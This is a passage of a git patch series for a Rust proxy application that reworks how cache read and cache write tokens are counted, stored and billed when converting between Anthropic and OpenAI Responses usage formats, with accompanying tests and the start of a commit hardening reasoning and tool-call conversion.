adds them (symmetric to the subtraction done for the Claude side in -/// `transform_responses`): -/// input_tokens = input + cache_read +/// Anthropic's `input_tokens` is the cache-excluded fresh input. OpenAI Responses +/// reports total input and exposes cache reads/writes as subsets: +/// input_tokens = fresh + cache_read + cache_creation /// input_tokens_details.cached_tokens = cache_read +/// input_tokens_details.cache_write_tokens = cache_creation /// -/// Note: **do not** fold `cache_creation` into `input_tokens`. The Codex billing -/// calculator (usage/calculator.rs) only subtracts `cache_read` for codex -/// (`billable = input - cache_read`), and separately lists cache-creation cost via -/// `cache_creation_input_tokens`; if creation were also added into -/// `input_tokens`, it would be double-charged at both the input price and the -/// cache-creation price. +/// The internal billing parser subtracts both subsets before charging the normal +/// input rate, then prices cache reads and writes separately. pub(crate) fn build_responses_usage_from_anthropic(usage: Option<&Value>) -> Value { let u = match usage { Some(v) if v.is_object() => v, @@ -166,10 +161,10 @@ pub(crate) fn build_responses_usage_from_anthropic(usage: Option<&Value>) -> Val .and_then(|v| v.as_u64()) .unwrap_or(0); - let input_tokens = fresh_input.saturating_add(cache_read); - let total_tokens = input_tokens - .saturating_add(cache_creation) - .saturating_add(output); + let input_tokens = fresh_input + .saturating_add(cache_read) + .saturating_add(cache_creation); + let total_tokens = input_tokens.saturating_add(output); let mut result = json!({ "input_tokens": input_tokens, @@ -177,10 +172,14 @@ pub(crate) fn build_responses_usage_from_anthropic(usage: Option<&Value>) -> Val "total_tokens": total_tokens, "output_tokens_details": { "reasoning_tokens": reasoning } }); - if cache_read > 0 { - result["input_tokens_details"] = json!({ "cached_tokens": cache_read }); + if cache_read > 0 || cache_creation > 0 { + result["input_tokens_details"] = json!({ + "cached_tokens": cache_read, + "cache_write_tokens": cache_creation + }); } - // Explicitly pass through cache_creation so the downstream usage parser (from_codex_response) attributes billing correctly. + // Keep the legacy top-level alias for one compatibility window. New code reads + // the official nested cache_write_tokens field first. if cache_creation > 0 { result["cache_creation_input_tokens"] = json!(cache_creation); } @@ -2078,18 +2077,20 @@ mod tests { } }); let result = anthropic_response_to_responses(input).unwrap(); - // input_tokens = fresh + cache_read = 20 + 60 = 80 (excluding cache_creation). - // The Codex billing calculator only subtracts cache_read from input (→ billable=fresh=20), - // and separately lists cache-creation cost via cache_creation_input_tokens; folding creation into input would double-charge. - assert_eq!(result["usage"]["input_tokens"], 80); + // Responses input_tokens is the inclusive total: fresh + read + write. + assert_eq!(result["usage"]["input_tokens"], 100); assert_eq!(result["usage"]["output_tokens"], 5); assert_eq!( result["usage"]["output_tokens_details"]["reasoning_tokens"], 3 ); - // total still includes everything: 80 + cache_creation 20 + output 5 = 105 + // total includes input total + output exactly once. assert_eq!(result["usage"]["total_tokens"], 105); assert_eq!(result["usage"]["input_tokens_details"]["cached_tokens"], 60); + assert_eq!( + result["usage"]["input_tokens_details"]["cache_write_tokens"], + 20 + ); // cache_creation is passed through explicitly for downstream billing attribution (counted only once) assert_eq!(result["usage"]["cache_creation_input_tokens"], 20); } diff --git a/src-tauri/src/proxy/providers/transform_codex_chat.rs b/src-tauri/src/proxy/providers/transform_codex_chat.rs index 315c0a494..9f17c2ac5 100644 --- a/src-tauri/src/proxy/providers/transform_codex_chat.rs +++ b/src-tauri/src/proxy/providers/transform_codex_chat.rs @@ -1629,12 +1629,26 @@ pub(crate) fn chat_usage_to_responses_usage(usage: Option<&Value>) -> Value { "total_tokens": total_tokens }); - if let Some(cached) = usage + let cached = usage .pointer("/prompt_tokens_details/cached_tokens") .or_else(|| usage.pointer("/input_tokens_details/cached_tokens")) .and_then(|v| v.as_u64()) - { - result["input_tokens_details"] = json!({ "cached_tokens": cached }); + .unwrap_or(0); + let cache_write = usage + .pointer("/prompt_tokens_details/cache_write_tokens") + .or_else(|| usage.pointer("/input_tokens_details/cache_write_tokens")) + .and_then(|v| v.as_u64()) + .or_else(|| { + usage + .get("cache_creation_input_tokens") + .and_then(|v| v.as_u64()) + }) + .unwrap_or(0); + if cached > 0 || cache_write > 0 { + result["input_tokens_details"] = json!({ + "cached_tokens": cached, + "cache_write_tokens": cache_write + }); } if let Some(details) = usage @@ -1653,8 +1667,8 @@ pub(crate) fn chat_usage_to_responses_usage(usage: Option<&Value>) -> Value { if let Some(cache_read) = usage.get("cache_read_input_tokens") { result["cache_read_input_tokens"] = cache_read.clone(); } - if let Some(cache_creation) = usage.get("cache_creation_input_tokens") { - result["cache_creation_input_tokens"] = cache_creation.clone(); + if cache_write > 0 { + result["cache_creation_input_tokens"] = json!(cache_write); } result @@ -2735,7 +2749,7 @@ mod tests { "prompt_tokens": 10, "completion_tokens": 5, "total_tokens": 15, - "prompt_tokens_details": {"cached_tokens": 3} + "prompt_tokens_details": {"cached_tokens": 3, "cache_write_tokens": 2} } }); @@ -2759,6 +2773,10 @@ mod tests { assert_eq!(result["usage"]["input_tokens"], 10); assert_eq!(result["usage"]["output_tokens"], 5); assert_eq!(result["usage"]["input_tokens_details"]["cached_tokens"], 3); + assert_eq!( + result["usage"]["input_tokens_details"]["cache_write_tokens"], + 2 + ); } #[test] diff --git a/src-tauri/src/proxy/providers/transform_responses.rs b/src-tauri/src/proxy/providers/transform_responses.rs index e11d3a317..0330d1481 100644 --- a/src-tauri/src/proxy/providers/transform_responses.rs +++ b/src-tauri/src/proxy/providers/transform_responses.rs @@ -259,10 +259,11 @@ pub(crate) fn map_responses_stop_reason( /// 1. input_tokens: Anthropic `input_tokens` → OpenAI `prompt_tokens` → default 0 /// 2. output_tokens: Anthropic `output_tokens` → OpenAI `completion_tokens` → default 0 /// 3. cache_read_input_tokens: Direct field → nested input_tokens_details.cached_tokens → prompt_tokens_details.cached_tokens -/// 4. cache_creation_input_tokens: Direct field only +/// 4. cache_creation_input_tokens: Direct field → nested +/// input_tokens_details.cache_write_tokens → prompt_tokens_details.cache_write_tokens /// /// **Cache Token Priority Order**: -/// 1. OpenAI nested details (`input_tokens_details.cached_tokens`, `prompt_tokens_details.cached_tokens`) as initial value +/// 1. OpenAI nested details (`cached_tokens`, `cache_write_tokens`) as initial values /// 2. Direct Anthropic-style fields (`cache_read_input_tokens`, `cache_creation_input_tokens`) override if present /// /// **Logging**: @@ -345,6 +346,19 @@ pub(crate) fn build_anthropic_usage_from_responses(usage: Option<&Value>) -> Val result["cache_read_input_tokens"] = json!(cached); } } + // GPT-5.6+ reports cache writes in the nested OpenAI token-details object. + // Treat writes as Anthropic cache creation so the downstream client and + // billing layer can distinguish them from fresh input. + let nested_cache_write = u + .pointer("/input_tokens_details/cache_write_tokens") + .and_then(|v| v.as_u64()) + .or_else(|| { + u.pointer("/prompt_tokens_details/cache_write_tokens") + .and_then(|v| v.as_u64()) + }); + if let Some(cache_write) = nested_cache_write { + result["cache_creation_input_tokens"] = json!(cache_write); + } // Step 2: Direct Anthropic-style fields override (authoritative if present) // These preserve cache tokens even if input/output_tokens are missing @@ -1710,6 +1724,21 @@ mod tests { assert_eq!(result["cache_read_input_tokens"], json!(80)); } + #[test] + fn test_build_usage_cache_write_tokens_from_nested_details() { + let result = build_anthropic_usage_from_responses(Some(&json!({ + "input_tokens": 100, + "output_tokens": 10, + "input_tokens_details": { + "cached_tokens": 30, + "cache_write_tokens": 20 + } + }))); + assert_eq!(result["input_tokens"], json!(50)); + assert_eq!(result["cache_read_input_tokens"], json!(30)); + assert_eq!(result["cache_creation_input_tokens"], json!(20)); + } + #[test] fn test_build_usage_cache_tokens_direct_override() { let result = build_anthropic_usage_from_responses(Some(&json!({ diff --git a/src-tauri/src/proxy/usage/calculator.rs b/src-tauri/src/proxy/usage/calculator.rs index c53a8ef95..db8def267 100644 --- a/src-tauri/src/proxy/usage/calculator.rs +++ b/src-tauri/src/proxy/usage/calculator.rs @@ -76,10 +76,13 @@ impl CostCalculator { ) -> CostBreakdown { let million = Decimal::from(1_000_000); - // OpenAI/Gemini 风格的 input_tokens 包含缓存命中,需要扣除后再按输入价计费; + // OpenAI/Gemini 风格的 input_tokens 包含缓存读取和写入,需要扣除后再按输入价计费; // Claude/Anthropic 风格的 input_tokens 已经是 fresh input,不能再次扣减。 let billable_input_tokens = if input_includes_cache_read { - usage.input_tokens.saturating_sub(usage.cache_read_tokens) + usage + .input_tokens + .saturating_sub(usage.cache_read_tokens) + .saturating_sub(usage.cache_creation_tokens) } else { usage.input_tokens }; @@ -197,15 +200,15 @@ mod tests { let cost = CostCalculator::calculate_for_app("codex", &usage, &pricing, multiplier); - // Codex/OpenAI 语义:input_tokens 包含 cached_tokens,需要扣除 cache_read_tokens - assert_eq!(cost.input_cost, Decimal::from_str("0.0024").unwrap()); + // Codex/OpenAI 语义:input_tokens 包含 cache read/write,两桶都需扣除。 + assert_eq!(cost.input_cost, Decimal::from_str("0.0021").unwrap()); assert_eq!(cost.output_cost, Decimal::from_str("0.0075").unwrap()); assert_eq!(cost.cache_read_cost, Decimal::from_str("0.00006").unwrap()); assert_eq!( cost.cache_creation_cost, Decimal::from_str("0.000375").unwrap() ); - assert_eq!(cost.total_cost, Decimal::from_str("0.010335").unwrap()); + assert_eq!(cost.total_cost, Decimal::from_str("0.010035").unwrap()); } #[test] diff --git a/src-tauri/src/proxy/usage/logger.rs b/src-tauri/src/proxy/usage/logger.rs index baa352670..072dd5ccf 100644 --- a/src-tauri/src/proxy/usage/logger.rs +++ b/src-tauri/src/proxy/usage/logger.rs @@ -4,6 +4,7 @@ use super::calculator::{CostBreakdown, CostCalculator, ModelPricing}; use super::parser::TokenUsage; use crate::database::{Database, PRICING_SOURCE_REQUEST, PRICING_SOURCE_RESPONSE}; use crate::error::AppError; +use crate::services::sql_helpers::{INPUT_TOKEN_SEMANTICS_FRESH, INPUT_TOKEN_SEMANTICS_TOTAL}; use crate::services::usage_stats::{find_model_pricing_row, is_placeholder_pricing_model}; use rust_decimal::Decimal; use std::str::FromStr; @@ -70,15 +71,21 @@ impl<'a> UsageLogger<'a> { }; let created_at = chrono::Utc::now().timestamp(); + let input_token_semantics = if matches!(log.app_type.as_str(), "codex" | "gemini") { + INPUT_TOKEN_SEMANTICS_TOTAL + } else { + INPUT_TOKEN_SEMANTICS_FRESH + }; conn.execute( "INSERT OR REPLACE INTO proxy_request_logs ( request_id, provider_id, app_type, model, request_model, pricing_model, input_tokens, output_tokens, cache_read_tokens, cache_creation_tokens, + input_token_semantics, input_cost_usd, output_cost_usd, cache_read_cost_usd, cache_creation_cost_usd, total_cost_usd, latency_ms, first_token_ms, status_code, error_message, session_id, provider_type, is_streaming, cost_multiplier, created_at - ) VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12, ?13, ?14, ?15, ?16, ?17, ?18, ?19, ?20, ?21, ?22, ?23, ?24)", + ) VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12, ?13, ?14, ?15, ?16, ?17, ?18, ?19, ?20, ?21, ?22, ?23, ?24, ?25)", rusqlite::params![ log.request_id, log.provider_id, @@ -90,6 +97,7 @@ impl<'a> UsageLogger<'a> { log.usage.output_tokens, log.usage.cache_read_tokens, log.usage.cache_creation_tokens, + input_token_semantics, input_cost, output_cost, cache_read_cost, diff --git a/src-tauri/src/proxy/usage/parser.rs b/src-tauri/src/proxy/usage/parser.rs index 40f77a4d7..45120b8ae 100644 --- a/src-tauri/src/proxy/usage/parser.rs +++ b/src-tauri/src/proxy/usage/parser.rs @@ -9,6 +9,24 @@ use serde::{Deserialize, Serialize}; use serde_json::Value; +fn openai_cache_read_tokens(usage: &Value) -> u32 { + usage + .get("cache_read_input_tokens") + .or_else(|| usage.pointer("/input_tokens_details/cached_tokens")) + .or_else(|| usage.pointer("/prompt_tokens_details/cached_tokens")) + .and_then(Value::as_u64) + .unwrap_or(0) as u32 +} + +fn openai_cache_write_tokens(usage: &Value) -> u32 { + usage + .get("cache_creation_input_tokens") + .or_else(|| usage.pointer("/input_tokens_details/cache_write_tokens")) + .or_else(|| usage.pointer("/prompt_tokens_details/cache_write_tokens")) + .and_then(Value::as_u64) + .unwrap_or(0) as u32 +} + /// Session 日志 request_id 前缀,与 `session_usage.rs` 中的格式保持一致 pub const SESSION_REQUEST_ID_PREFIX: &str = "session:"; @@ -250,25 +268,14 @@ impl TokenUsage { .and_then(|v| v.as_str()) .map(|s| s.to_string()); - let cached_tokens = usage - .get("cache_read_input_tokens") - .and_then(|v| v.as_u64()) - .or_else(|| { - usage - .get("input_tokens_details") - .and_then(|d| d.get("cached_tokens")) - .and_then(|v| v.as_u64()) - }) - .unwrap_or(0) as u32; + let cached_tokens = openai_cache_read_tokens(usage); + let cache_write_tokens = openai_cache_write_tokens(usage); Some(Self { input_tokens: input_tokens? as u32, output_tokens: output_tokens? as u32, cache_read_tokens: cached_tokens, - cache_creation_tokens: usage - .get("cache_creation_input_tokens") - .and_then(|v| v.as_u64()) - .unwrap_or(0) as u32, + cache_creation_tokens: cache_write_tokens, model, message_id: None, }) @@ -285,19 +292,13 @@ impl TokenUsage { let output_tokens = usage.get("output_tokens")?.as_u64()? as u32; // 获取 cached_tokens (可能在 cache_read_input_tokens 或 input_tokens_details 中) - let cached_tokens = usage - .get("cache_read_input_tokens") - .and_then(|v| v.as_u64()) - .or_else(|| { - usage - .get("input_tokens_details") - .and_then(|d| d.get("cached_tokens")) - .and_then(|v| v.as_u64()) - }) - .unwrap_or(0) as u32; + let cached_tokens = openai_cache_read_tokens(usage); + let cache_write_tokens = openai_cache_write_tokens(usage); - // 调整 input_tokens: 减去 cached_tokens - let adjusted_input = input_tokens.saturating_sub(cached_tokens); + // 调整 input_tokens: OpenAI total input 同时包含 cache read/write 两桶。 + let adjusted_input = input_tokens + .saturating_sub(cached_tokens) + .saturating_sub(cache_write_tokens); // 提取响应中的模型名称 let model = body @@ -309,10 +310,7 @@ impl TokenUsage { input_tokens: adjusted_input, output_tokens, cache_read_tokens: cached_tokens, - cache_creation_tokens: usage - .get("cache_creation_input_tokens") - .and_then(|v| v.as_u64()) - .unwrap_or(0) as u32, + cache_creation_tokens: cache_write_tokens, model, message_id: None, }) @@ -391,11 +389,8 @@ impl TokenUsage { let completion_tokens = usage.get("completion_tokens").and_then(|v| v.as_u64())?; // 获取 cached_tokens (可能在 prompt_tokens_details 中) - let cached_tokens = usage - .get("prompt_tokens_details") - .and_then(|d| d.get("cached_tokens")) - .and_then(|v| v.as_u64()) - .unwrap_or(0) as u32; + let cached_tokens = openai_cache_read_tokens(usage); + let cache_write_tokens = openai_cache_write_tokens(usage); // 提取响应中的模型名称 let model = body @@ -407,7 +402,7 @@ impl TokenUsage { input_tokens: prompt_tokens as u32, output_tokens: completion_tokens as u32, cache_read_tokens: cached_tokens, - cache_creation_tokens: 0, + cache_creation_tokens: cache_write_tokens, model, message_id: None, }) @@ -797,6 +792,30 @@ mod tests { assert_eq!(usage.cache_read_tokens, 300); } + #[test] + fn test_codex_response_parsing_cache_write_tokens_in_details() { + let response = json!({ + "usage": { + "input_tokens": 1000, + "output_tokens": 500, + "input_tokens_details": { + "cached_tokens": 300, + "cache_write_tokens": 200 + } + } + }); + + let usage = TokenUsage::from_codex_response(&response).unwrap(); + assert_eq!(usage.input_tokens, 1000); + assert_eq!(usage.cache_read_tokens, 300); + assert_eq!(usage.cache_creation_tokens, 200); + + let adjusted = TokenUsage::from_codex_response_adjusted(&response).unwrap(); + assert_eq!(adjusted.input_tokens, 500); + assert_eq!(adjusted.cache_read_tokens, 300); + assert_eq!(adjusted.cache_creation_tokens, 200); + } + #[test] fn test_codex_response_adjusted() { let response = json!({ diff --git a/src-tauri/src/services/sql_helpers.rs b/src-tauri/src/services/sql_helpers.rs index 7b006aef8..2007b50f5 100644 --- a/src-tauri/src/services/sql_helpers.rs +++ b/src-tauri/src/services/sql_helpers.rs @@ -18,13 +18,16 @@ /// would happen with the opposite default. const CACHE_INCLUSIVE_APP_TYPES: &[&str] = &["codex", "gemini"]; +pub(crate) const INPUT_TOKEN_SEMANTICS_LEGACY: i64 = 0; +pub(crate) const INPUT_TOKEN_SEMANTICS_TOTAL: i64 = 1; +pub(crate) const INPUT_TOKEN_SEMANTICS_FRESH: i64 = 2; + /// Build an SQL expression that returns the cache-normalized `input_tokens` /// for a single row in `proxy_request_logs` or `usage_daily_rollups`. /// -/// For rows whose `app_type` is in [`CACHE_INCLUSIVE_APP_TYPES`] and -/// `input_tokens >= cache_read_tokens`, returns -/// `input_tokens - cache_read_tokens`. For all other rows the original -/// `input_tokens` is returned unchanged. +/// Legacy rows subtract cache reads only. New total-inclusive rows subtract +/// both cache reads and writes. Rollups normalized to fresh input are returned +/// unchanged. /// /// Pass an empty string to reference the columns directly (no alias), /// or a table alias such as `"l"` to emit `l.input_tokens` style references. @@ -40,7 +43,15 @@ pub fn fresh_input_sql(alias: &str) -> String { .collect::>() .join(", "); format!( - "CASE WHEN {prefix}app_type IN ({app_type_list}) AND {prefix}input_tokens >= {prefix}cache_read_tokens \ + "CASE \ + WHEN {prefix}input_token_semantics = {INPUT_TOKEN_SEMANTICS_FRESH} THEN {prefix}input_tokens \ + WHEN {prefix}app_type IN ({app_type_list}) \ + AND {prefix}input_token_semantics = {INPUT_TOKEN_SEMANTICS_TOTAL} \ + AND {prefix}input_tokens >= ({prefix}cache_read_tokens + {prefix}cache_creation_tokens) \ + THEN ({prefix}input_tokens - {prefix}cache_read_tokens - {prefix}cache_creation_tokens) \ + WHEN {prefix}app_type IN ({app_type_list}) \ + AND {prefix}input_token_semantics = {INPUT_TOKEN_SEMANTICS_LEGACY} \ + AND {prefix}input_tokens >= {prefix}cache_read_tokens \ THEN ({prefix}input_tokens - {prefix}cache_read_tokens) \ ELSE {prefix}input_tokens END" ) @@ -60,7 +71,8 @@ mod tests { input_tokens INTEGER NOT NULL DEFAULT 0, output_tokens INTEGER NOT NULL DEFAULT 0, cache_read_tokens INTEGER NOT NULL DEFAULT 0, - cache_creation_tokens INTEGER NOT NULL DEFAULT 0 + cache_creation_tokens INTEGER NOT NULL DEFAULT 0, + input_token_semantics INTEGER NOT NULL DEFAULT 0 );", ) .unwrap(); @@ -131,4 +143,38 @@ mod tests { let value: i64 = conn.query_row(&sql, [], |r| r.get(0)).unwrap(); assert_eq!(value, 100); } + + #[test] + fn fresh_input_subtracts_cache_write_for_total_semantics() { + let conn = setup_conn(); + conn.execute( + "INSERT INTO proxy_request_logs ( + request_id, app_type, input_tokens, cache_read_tokens, + cache_creation_tokens, input_token_semantics + ) VALUES ('codex-total', 'codex', 1000, 300, 200, ?1)", + [INPUT_TOKEN_SEMANTICS_TOTAL], + ) + .unwrap(); + let expr = fresh_input_sql("l"); + let sql = format!("SELECT {expr} FROM proxy_request_logs l"); + let value: i64 = conn.query_row(&sql, [], |row| row.get(0)).unwrap(); + assert_eq!(value, 500); + } + + #[test] + fn fresh_input_keeps_normalized_rollup_value() { + let conn = setup_conn(); + conn.execute( + "INSERT INTO proxy_request_logs ( + request_id, app_type, input_tokens, cache_read_tokens, + cache_creation_tokens, input_token_semantics + ) VALUES ('codex-fresh', 'codex', 500, 300, 200, ?1)", + [INPUT_TOKEN_SEMANTICS_FRESH], + ) + .unwrap(); + let expr = fresh_input_sql("l"); + let sql = format!("SELECT {expr} FROM proxy_request_logs l"); + let value: i64 = conn.query_row(&sql, [], |row| row.get(0)).unwrap(); + assert_eq!(value, 500); + } } diff --git a/src-tauri/src/services/usage_stats.rs b/src-tauri/src/services/usage_stats.rs index a1d75bd21..d0760f2c4 100644 --- a/src-tauri/src/services/usage_stats.rs +++ b/src-tauri/src/services/usage_stats.rs @@ -5,7 +5,9 @@ use crate::database::{lock_conn, Database}; use crate::error::AppError; use crate::proxy::usage::calculator::ModelPricing; -use crate::services::sql_helpers::fresh_input_sql; +use crate::services::sql_helpers::{ + fresh_input_sql, INPUT_TOKEN_SEMANTICS_FRESH, INPUT_TOKEN_SEMANTICS_TOTAL, +}; use chrono::{Local, NaiveDate, TimeZone, Timelike}; use rusqlite::{params, Connection, OptionalExtension}; use serde::{Deserialize, Serialize}; @@ -135,6 +137,9 @@ pub struct RequestLogDetail { pub output_tokens: u32, pub cache_read_tokens: u32, pub cache_creation_tokens: u32, + /// Internal storage semantics; omitted from the UI/API payload. + #[serde(skip)] + pub input_token_semantics: i64, pub input_cost_usd: String, pub output_cost_usd: String, pub cache_read_cost_usd: String, @@ -154,15 +159,15 @@ pub struct RequestLogDetail { pub pricing_model: Option, } -/// 把 25 列的查询结果映射为 `RequestLogDetail`。 +/// 把 26 列的查询结果映射为 `RequestLogDetail`。 /// -/// 调用方的 SELECT **必须**按以下顺序返回 25 列: +/// 调用方的 SELECT **必须**按以下顺序返回 26 列: /// `request_id, provider_id, provider_name, app_type, model, request_model, /// cost_multiplier, input_tokens, output_tokens, cache_read_tokens, /// cache_creation_tokens, input_cost_usd, output_cost_usd, cache_read_cost_usd, /// cache_creation_cost_usd, total_cost_usd, is_streaming, latency_ms, /// first_token_ms, duration_ms, status_code, error_message, created_at, -/// data_source, pricing_model` +/// data_source, pricing_model, input_token_semantics` /// /// 不需要 provider_name 时(如 backfill)SELECT `NULL AS provider_name` 占位即可。 fn row_to_request_log_detail(row: &rusqlite::Row<'_>) -> rusqlite::Result { @@ -194,6 +199,7 @@ fn row_to_request_log_detail(row: &rusqlite::Row<'_>) -> rusqlite::Result(25)?, }) } @@ -1526,7 +1532,8 @@ impl Database { l.input_tokens, l.output_tokens, l.cache_read_tokens, l.cache_creation_tokens, l.input_cost_usd, l.output_cost_usd, l.cache_read_cost_usd, l.cache_creation_cost_usd, l.total_cost_usd, l.is_streaming, l.latency_ms, l.first_token_ms, l.duration_ms, - l.status_code, l.error_message, l.created_at, l.data_source, l.pricing_model + l.status_code, l.error_message, l.created_at, l.data_source, l.pricing_model, + l.input_token_semantics FROM proxy_request_logs l LEFT JOIN providers p ON l.provider_id = p.id AND l.app_type = p.app_type {where_clause} @@ -1569,7 +1576,8 @@ impl Database { input_tokens, output_tokens, cache_read_tokens, cache_creation_tokens, input_cost_usd, output_cost_usd, cache_read_cost_usd, cache_creation_cost_usd, total_cost_usd, is_streaming, latency_ms, first_token_ms, duration_ms, - status_code, error_message, created_at, l.data_source, l.pricing_model + status_code, error_message, created_at, l.data_source, l.pricing_model, + l.input_token_semantics FROM proxy_request_logs l LEFT JOIN providers p ON l.provider_id = p.id AND l.app_type = p.app_type WHERE l.request_id = ?" @@ -1725,7 +1733,7 @@ impl Database { input_cost_usd, output_cost_usd, cache_read_cost_usd, cache_creation_cost_usd, total_cost_usd, is_streaming, latency_ms, first_token_ms, duration_ms, status_code, error_message, created_at, - data_source, pricing_model + data_source, pricing_model, input_token_semantics FROM proxy_request_logs WHERE CAST(total_cost_usd AS REAL) <= 0 AND (input_tokens > 0 OR output_tokens > 0 @@ -1806,15 +1814,21 @@ impl Database { let million = rust_decimal::Decimal::from(1_000_000u64); // 与 CostCalculator::calculate_for_app 保持一致的计算逻辑: - // 1. Codex/Gemini 的 input_tokens 包含 cache_read_tokens,需要扣除后按输入价计费 + // 1. 历史 Codex/Gemini 行只包含 cache read;新 total 行还包含 cache write。 // 2. Claude/Anthropic 的 input_tokens 已经是 fresh input,不能再次扣减 // 3. 各项成本是基础成本(不含倍率),倍率只作用于最终总价 - let input_includes_cache_read = matches!(log.app_type.as_str(), "codex" | "gemini"); - let billable_input_tokens = if input_includes_cache_read { - (log.input_tokens as u64).saturating_sub(log.cache_read_tokens as u64) - } else { - log.input_tokens as u64 - }; + let cache_inclusive_app = matches!(log.app_type.as_str(), "codex" | "gemini"); + let billable_input_tokens = + if !cache_inclusive_app || log.input_token_semantics == INPUT_TOKEN_SEMANTICS_FRESH { + log.input_tokens as u64 + } else if log.input_token_semantics == INPUT_TOKEN_SEMANTICS_TOTAL { + (log.input_tokens as u64) + .saturating_sub(log.cache_read_tokens as u64) + .saturating_sub(log.cache_creation_tokens as u64) + } else { + // v12 and earlier: input included cache reads but excluded cache writes. + (log.input_tokens as u64).saturating_sub(log.cache_read_tokens as u64) + }; let input_cost = rust_decimal::Decimal::from(billable_input_tokens) * pricing.input / million; let output_cost = @@ -2492,6 +2506,77 @@ mod tests { Ok(()) } + #[test] + fn test_backfill_distinguishes_legacy_and_total_cache_semantics() -> Result<(), AppError> { + let db = Database::memory()?; + + { + let conn = lock_conn!(db.conn); + // v12 mirror row: input = fresh + read; creation was reported separately. + insert_usage_log( + &conn, + "legacy-cache-semantics", + "codex", + "p1", + "gpt-5.5", + "proxy", + 1000, + 800_000, + 0, + 600_000, + 200_000, + 200, + "0", + )?; + // v13 proxy row: input = fresh + read + creation. + insert_usage_log( + &conn, + "total-cache-semantics", + "codex", + "p1", + "gpt-5.5", + "proxy", + 1001, + 1_000_000, + 0, + 600_000, + 200_000, + 200, + "0", + )?; + conn.execute( + "UPDATE proxy_request_logs + SET input_token_semantics = ?1 + WHERE request_id = 'total-cache-semantics'", + [INPUT_TOKEN_SEMANTICS_TOTAL], + )?; + } + + assert_eq!(db.backfill_missing_usage_costs()?, 2); + + let conn = lock_conn!(db.conn); + let mut stmt = conn.prepare( + "SELECT request_id, input_cost_usd + FROM proxy_request_logs + WHERE request_id IN ('legacy-cache-semantics', 'total-cache-semantics') + ORDER BY request_id", + )?; + let rows = stmt + .query_map([], |row| { + Ok((row.get::<_, String>(0)?, row.get::<_, String>(1)?)) + })? + .collect::, _>>()?; + assert_eq!( + rows, + vec![ + ("legacy-cache-semantics".to_string(), "1.000000".to_string()), + ("total-cache-semantics".to_string(), "1.000000".to_string()), + ] + ); + + Ok(()) + } + #[test] fn test_backfill_missing_usage_costs_uses_stored_multiplier() -> Result<(), AppError> { let db = Database::memory()?; From 27ce0a519c723db56d248da383a7556259d0c480 Mon Sep 17 00:00:00 2001 From: Jason Date: Sat, 11 Jul 2026 12:27:56 +0800 Subject: [PATCH 53/73] fix(proxy): harden Responses reasoning and tool-call conversion Round-trip encrypted Responses reasoning items through bridge-owned Anthropic thinking blocks, discard orphaned reasoning-only history, and consume the official reasoning text event vocabulary. Track concurrent streaming items by stable IDs and output indexes, reuse a dedicated fallback block for keyless legacy reasoning, recover tool arguments from done events, and close blocks in protocol order. Normalize empty or incomplete non-streaming tool arguments, reject malformed completed calls, and persist upstream usage before returning terminal conversion errors. --- src-tauri/src/proxy/handlers.rs | 164 ++++-- src-tauri/src/proxy/providers/mod.rs | 1 + .../src/proxy/providers/reasoning_bridge.rs | 131 +++++ .../proxy/providers/streaming_responses.rs | 526 ++++++++++++++++-- .../proxy/providers/transform_responses.rs | 229 +++++++- 5 files changed, 942 insertions(+), 109 deletions(-) create mode 100644 src-tauri/src/proxy/providers/reasoning_bridge.rs diff --git a/src-tauri/src/proxy/handlers.rs b/src-tauri/src/proxy/handlers.rs index 9cca3d80a..c73e57521 100644 --- a/src-tauri/src/proxy/handlers.rs +++ b/src-tauri/src/proxy/handlers.rs @@ -283,6 +283,90 @@ fn validate_claude_desktop_gateway_auth( /// Claude 格式转换处理(独有逻辑) /// /// 支持 OpenAI Chat Completions 和 Responses API 两种格式的转换 +struct ClaudeUsageLog { + model: String, + request_model: String, + outbound_model: String, + app_type: &'static str, + provider_id: String, + session_id: String, + usage: TokenUsage, + latency_ms: u64, + status_code: u16, + is_streaming: bool, +} + +fn prepare_claude_usage_log( + ctx: &RequestContext, + response: &Value, + status_code: u16, + is_streaming: bool, +) -> Option { + let usage = + TokenUsage::from_claude_response(response).filter(TokenUsage::has_billable_tokens)?; + + let model = response + .get("model") + .and_then(Value::as_str) + .filter(|model| !model.is_empty()) + .map(str::to_string) + .or_else(|| ctx.outbound_model.clone()) + .unwrap_or_else(|| ctx.request_model.clone()); + + Some(ClaudeUsageLog { + model, + request_model: ctx.request_model.clone(), + outbound_model: ctx + .outbound_model + .clone() + .unwrap_or_else(|| ctx.request_model.clone()), + app_type: ctx.app_type_str, + provider_id: ctx.provider.id.clone(), + session_id: ctx.session_id.clone(), + usage, + latency_ms: ctx.latency_ms(), + status_code, + is_streaming, + }) +} + +async fn write_claude_usage_log(state: &ProxyState, log: ClaudeUsageLog) { + log_usage( + state, + &log.provider_id, + log.app_type, + &log.model, + &log.request_model, + &log.outbound_model, + log.usage, + log.latency_ms, + None, + log.is_streaming, + log.status_code, + Some(log.session_id), + ) + .await; +} + +fn spawn_claude_usage_log( + state: &ProxyState, + ctx: &RequestContext, + response: &Value, + status_code: u16, + is_streaming: bool, +) { + if !usage_logging_enabled(state) { + return; + } + let Some(log) = prepare_claude_usage_log(ctx, response, status_code, is_streaming) else { + return; + }; + let state = state.clone(); + tokio::spawn(async move { + write_claude_usage_log(&state, log).await; + }); +} + async fn handle_claude_transform( response: super::hyper_client::ProxyResponse, ctx: &RequestContext, @@ -474,8 +558,20 @@ async fn handle_claude_transform( } }; + // Preserve raw Responses usage so a post-upstream conversion failure still + // records the tokens already consumed by the successful upstream request. + let raw_usage_response = (api_format == "openai_responses").then(|| { + json!({ + "id": upstream_response.get("id").cloned().unwrap_or(Value::Null), + "model": upstream_response.get("model").cloned().unwrap_or(Value::Null), + "usage": transform_responses::build_anthropic_usage_from_responses( + upstream_response.get("usage") + ) + }) + }); + // 根据 api_format 选择非流式转换器 - let anthropic_response = if api_format == "openai_responses" { + let transform_result = if api_format == "openai_responses" { transform_responses::responses_to_anthropic(upstream_response) } else if api_format == "gemini_native" { transform_gemini::gemini_to_anthropic_with_shadow_and_hints( @@ -487,58 +583,28 @@ async fn handle_claude_transform( ) } else { transform::openai_to_anthropic(upstream_response) - } - .map_err(|e| { - log::error!("[Claude] 转换响应失败: {e}"); - e - })?; + }; + let anthropic_response = match transform_result { + Ok(response) => response, + Err(error) => { + log::error!("[Claude] 转换响应失败: {error}"); + if usage_logging_enabled(state) { + if let Some(log) = raw_usage_response.as_ref().and_then(|response| { + 